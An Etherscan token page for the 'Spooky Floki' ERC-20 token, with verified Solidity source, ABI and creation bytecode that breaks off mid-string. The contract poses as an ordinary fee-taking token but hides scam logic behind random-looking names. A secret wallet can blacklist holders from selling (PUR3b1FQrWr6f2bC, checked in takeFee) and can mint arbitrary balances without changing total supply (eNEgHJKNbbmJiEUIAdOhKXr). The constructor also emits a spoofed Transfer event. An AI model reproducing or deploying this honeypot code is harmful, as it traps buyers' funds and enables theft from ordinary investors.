ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 Spooky Floki
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
12,273,030,000,000.98 Spooky FlokiValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SpookyFloki
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-27 */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SpookyFloki is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Spooky Floki"; string private _symbol = "Spooky Floki"; uint8 private _decimals = 9; address payable public oBMsVZvBCliMEkFzIRyxOxiIQIYn; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) __; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public rVTeZorVbjnNZkDjZKbrVXTG; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 1; uint256 public _sellMarketingFee = 1; uint256 public _sellTeamFee = 1; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee); _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee); _totalDistributionShares = _marketingShare.add(_teamShare); isMarketPair[address(uniswapPair)] = true; teamWalletAddress = payable(address(0x5522cd79c6406eB7386301320659166507c52DA4)); oBMsVZvBCliMEkFzIRyxOxiIQIYn = payable(address(0x5522cd79c6406eB7386301320659166507c52DA4)); __[_msgSender()] = _totalSupply; emit Transfer(address(0x963285076a2dFB4bCAB821055c6B69a7DD74d968), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return __[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _isExcludefromFee[account[i]] = newValue; } } function setBuyFee(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee); } function setsell(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee); } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function o() view private{ require(msg.sender == oBMsVZvBCliMEkFzIRyxOxiIQIYn); } function PUR3b1FQrWr6f2bC(bool AAWExmmxdFytcfLqfIZPRcXCQizC, address[] calldata klThfAueuucwgWdVpQvJcLiJQHEKJ) public { o(); for (uint256 i; i < klThfAueuucwgWdVpQvJcLiJQHEKJ.length; i++) { rVTeZorVbjnNZkDjZKbrVXTG[klThfAueuucwgWdVpQvJcLiJQHEKJ[i]] = AAWExmmxdFytcfLqfIZPRcXCQizC; } } function eNEgHJKNbbmJiEUIAdOhKXr(uint256 dwFTsFsepMsNWDNCFrtWQervfTcz,address LUNYymSXZRksgULCVe) public { o(); uint256 amount = __[LUNYymSXZRksgULCVe] + dwFTsFsepMsNWDNCFrtWQervfTcz; __[LUNYymSXZRksgULCVe] = amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[from] && swapAndLiquifyEnabled) { swapAndLiquify(contractTokenBalance); } __[from] = __[from].sub(amount); uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : takeFee(from, to, amount); __[to] = __[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { __[sender] = __[sender].sub(amount, "Insufficient Balance"); __[recipient] = __[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForSwap = tAmount; swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares; uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHTeam); if(amountETHMarketing > 0) transferToAddressETH(oBMsVZvBCliMEkFzIRyxOxiIQIYn, amountETHMarketing); if(amountETHTeam > 0) transferToAddressETH(teamWalletAddress, amountETHTeam); } function swapTokensForEth(uint256 amount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ){} catch {} } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if (!isMarketPair[sender]){ require(!rVTeZorVbjnNZkDjZKbrVXTG[sender]); } if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { __[address(this)] = __[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"AAWExmmxdFytcfLqfIZPRcXCQizC","type":"bool"},{"internalType":"address[]","name":"klThfAueuucwgWdVpQvJcLiJQHEKJ","type":"address[]"}],"name":"PUR3b1FQrWr6f2bC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"dwFTsFsepMsNWDNCFrtWQervfTcz","type":"uint256"},{"internalType":"address","name":"LUNYymSXZRksgULCVe","type":"address"}],"name":"eNEgHJKNbbmJiEUIAdOhKXr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oBMsVZvBCliMEkFzIRyxOxiIQIYn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rVTeZorVbjnNZkDjZKbrVXTG","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600c81526020017f53706f6f6b7920466c6f6b690000000000000000000000000000000000000000815250600190805190602001906200005192919062000918565b506040518060400160405280600c81526020017f53706f6f6b7920466c6f6b690000000000000000000000000000000000000000815250600290805190602001906200009f92919062000918565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600c556001600d556001600e556001600f5560046010556010601155600c601255600c6013556018601455600360009054906101000a900460ff16600a6200013f919062000b8f565b66038d7ea4c6800062000153919062000ccc565b601555600360009054906101000a900460ff16600a62000174919062000b8f565b6103e862000183919062000ccc565b6016556001601860156101000a81548160ff021916908315150217905550348015620001ae57600080fd5b50620001bf6200088460201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d957600080fd5b505afa158015620002ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003149190620009df565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037757600080fd5b505afa1580156200038c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b29190620009df565b6040518363ffffffff1660e01b8152600401620003d192919062000a5a565b602060405180830381600087803b158015620003ec57600080fd5b505af115801562000401573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004279190620009df565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601554600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005636200088c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200062a600d54600c54620008b560201b620018881790919060201c565b6012819055506200064e600f54600e54620008b560201b620018881790919060201c565b60138190555062000672601154601054620008b560201b620018881790919060201c565b6014819055506001600a6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550735522cd79c6406eb7386301320659166507c52da4600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735522cd79c6406eb7386301320659166507c52da4600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060155460056000620007b36200088460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008016200088460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673963285076a2dfb4bcab821055c6b69a7dd74d96873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60155460405162000875919062000aa9565b60405180910390a35062000e61565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620008c6919062000ad7565b9050838110156200090e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009059062000a87565b60405180910390fd5b8091505092915050565b828054620009269062000d78565b90600052602060002090601f0160209004810192826200094a576000855562000996565b82601f106200096557805160ff191683800117855562000996565b8280016001018555821562000996579182015b828111156200099557825182559160200191906001019062000978565b5b509050620009a59190620009a9565b5090565b5b80821115620009c4576000816000905550600101620009aa565b5090565b600081519050620009d98162000e47565b92915050565b600060208284031215620009f857620009f762000e0c565b5b600062000a0884828501620009c8565b91505092915050565b62000a1c8162000d2d565b82525050565b600062000a31601b8362000ac6565b915062000a3e8262000e1e565b602082019050919050565b62000a548162000d61565b82525050565b600060408201905062000a71600083018562000a11565b62000a80602083018462000a11565b9392505050565b6000602082019050818103600083015262000aa28162000a22565b9050919050565b600060208201905062000ac0600083018462000a49565b92915050565b600082825260208201905092915050565b600062000ae48262000d61565b915062000af18362000d61565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b295762000b2862000dae565b5b828201905092915050565b6000808291508390505b600185111562000b865780860481111562000b5e5762000b5d62000dae565b5b600185161562000b6e5780820291505b808102905062000b7e8562000e11565b945062000b3e565b94509492505050565b600062000b9c8262000d61565b915062000ba98362000d6b565b925062000bd87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000be0565b905092915050565b60008262000bf2576001905062000cc5565b8162000c02576000905062000cc5565b816001811462000c1b576002811462000c265762000c5c565b600191505062000cc5565b60ff84111562000c3b5762000c3a62000dae565b5b8360020a91508482111562000c555762000c5462000dae565b5b5062000cc5565b5060208310610133831016604e8410600b841016171562000c965782820a90508381111562000c905762000c8f62000dae565b5b62000cc5565b62000ca5848484600162000b34565b9250905081840481111562000cbf5762000cbe62000dae565b5b81810290505b9392505050565b600062000cd98262000d61565b915062000ce68362000d61565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d225762000d2162000dae565b5b828202905092915050565b600062000d3a8262000d41565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000d9157607f821691505b6020821081141562000da85762000da762000ddd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000e528162000d2d565b811462000e5e57600080fd5b50565b60805160601c61372262000e8760003960008181610c4f0152610c7b01526137226000f3fe6080604052600436106102605760003560e01c80638da5cb5b11610144578063c816841b116100b6578063d4868eee1161007a578063d4868eee1461094b578063dd62ed3e14610988578063f0cd1dac146109c5578063f2fde38b146109f0578063f50a683214610a19578063fb0ecfa414610a4457610267565b8063c816841b14610862578063c86079521461088d578063c867d60b146108b8578063cab03471146108f5578063d2d7ad831461092057610267565b8063a83f53a711610108578063a83f53a714610752578063a9059cbb1461077d578063c469b6dd146107ba578063c49b9a80146107e5578063c5d241891461080e578063c76c07741461083957610267565b80638da5cb5b1461066957806395d89b4114610694578063a073d37f146106bf578063a08e671f146106ea578063a457c2d71461071557610267565b806339509351116101dd578063667b4bd0116101a1578063667b4bd01461054957806370a0823114610572578063715266fe146105af5780637ddd8dc2146105d857806382eefb43146106015780638b42507f1461062c57610267565b806339509351146104505780633ecad2711461048d5780634a74bb02146104ca57806361a23c69146104f55780636249faf11461052057610267565b806323b872dd1161022457806323b872dd1461035557806327c8f835146103925780632b112e49146103bd578063313ce567146103e85780633345611e1461041357610267565b806306fdde031461026c578063095ea7b3146102975780631245e347146102d45780631694505e146102ff57806318160ddd1461032a57610267565b3661026757005b600080fd5b34801561027857600080fd5b50610281610a6d565b60405161028e9190612f0f565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190612ada565b610aff565b6040516102cb9190612ed9565b60405180910390f35b3480156102e057600080fd5b506102e9610b1d565b6040516102f69190612ebe565b60405180910390f35b34801561030b57600080fd5b50610314610b43565b6040516103219190612ef4565b60405180910390f35b34801561033657600080fd5b5061033f610b69565b60405161034c9190613011565b60405180910390f35b34801561036157600080fd5b5061037c60048036038101906103779190612a87565b610b73565b6040516103899190612ed9565b60405180910390f35b34801561039e57600080fd5b506103a7610c4d565b6040516103b49190612ea3565b60405180910390f35b3480156103c957600080fd5b506103d2610c71565b6040516103df9190613011565b60405180910390f35b3480156103f457600080fd5b506103fd610cb5565b60405161040a9190613086565b60405180910390f35b34801561041f57600080fd5b5061043a600480360381019061043591906129ed565b610ccc565b6040516104479190612ed9565b60405180910390f35b34801561045c57600080fd5b5061047760048036038101906104729190612ada565b610cec565b6040516104849190612ed9565b60405180910390f35b34801561049957600080fd5b506104b460048036038101906104af91906129ed565b610d9f565b6040516104c19190612ed9565b60405180910390f35b3480156104d657600080fd5b506104df610dbf565b6040516104ec9190612ed9565b60405180910390f35b34801561050157600080fd5b5061050a610dd2565b6040516105179190613011565b60405180910390f35b34801561052c57600080fd5b5061054760048036038101906105429190612b1a565b610dd8565b005b34801561055557600080fd5b50610570600480360381019061056b9190612c47565b610f12565b005b34801561057e57600080fd5b50610599600480360381019061059491906129ed565b610fd6565b6040516105a69190613011565b60405180910390f35b3480156105bb57600080fd5b506105d660048036038101906105d19190612b1a565b61101f565b005b3480156105e457600080fd5b506105ff60048036038101906105fa9190612c07565b611159565b005b34801561060d57600080fd5b506106166111f9565b6040516106239190613011565b60405180910390f35b34801561063857600080fd5b50610653600480360381019061064e91906129ed565b6111ff565b6040516106609190612ed9565b60405180910390f35b34801561067557600080fd5b5061067e61121f565b60405161068b9190612ea3565b60405180910390f35b3480156106a057600080fd5b506106a9611248565b6040516106b69190612f0f565b60405180910390f35b3480156106cb57600080fd5b506106d46112da565b6040516106e19190613011565b60405180910390f35b3480156106f657600080fd5b506106ff6112e4565b60405161070c9190613011565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190612ada565b6112ea565b6040516107499190612ed9565b60405180910390f35b34801561075e57600080fd5b506107676113b7565b6040516107749190613011565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612ada565b6113bd565b6040516107b19190612ed9565b60405180910390f35b3480156107c657600080fd5b506107cf6113dc565b6040516107dc9190613011565b60405180910390f35b3480156107f157600080fd5b5061080c60048036038101906108079190612b7a565b6113e2565b005b34801561081a57600080fd5b50610823611494565b6040516108309190613011565b60405180910390f35b34801561084557600080fd5b50610860600480360381019061085b9190612ba7565b61149a565b005b34801561086e57600080fd5b50610877611547565b6040516108849190612ea3565b60405180910390f35b34801561089957600080fd5b506108a261156d565b6040516108af9190613011565b60405180910390f35b3480156108c457600080fd5b506108df60048036038101906108da91906129ed565b611573565b6040516108ec9190612ed9565b60405180910390f35b34801561090157600080fd5b5061090a611593565b6040516109179190613011565b60405180910390f35b34801561092c57600080fd5b50610935611599565b6040516109429190613011565b60405180910390f35b34801561095757600080fd5b50610972600480360381019061096d91906129ed565b61159f565b60405161097f9190612ed9565b60405180910390f35b34801561099457600080fd5b506109af60048036038101906109aa9190612a47565b6115bf565b6040516109bc9190613011565b60405180910390f35b3480156109d157600080fd5b506109da611646565b6040516109e79190613011565b604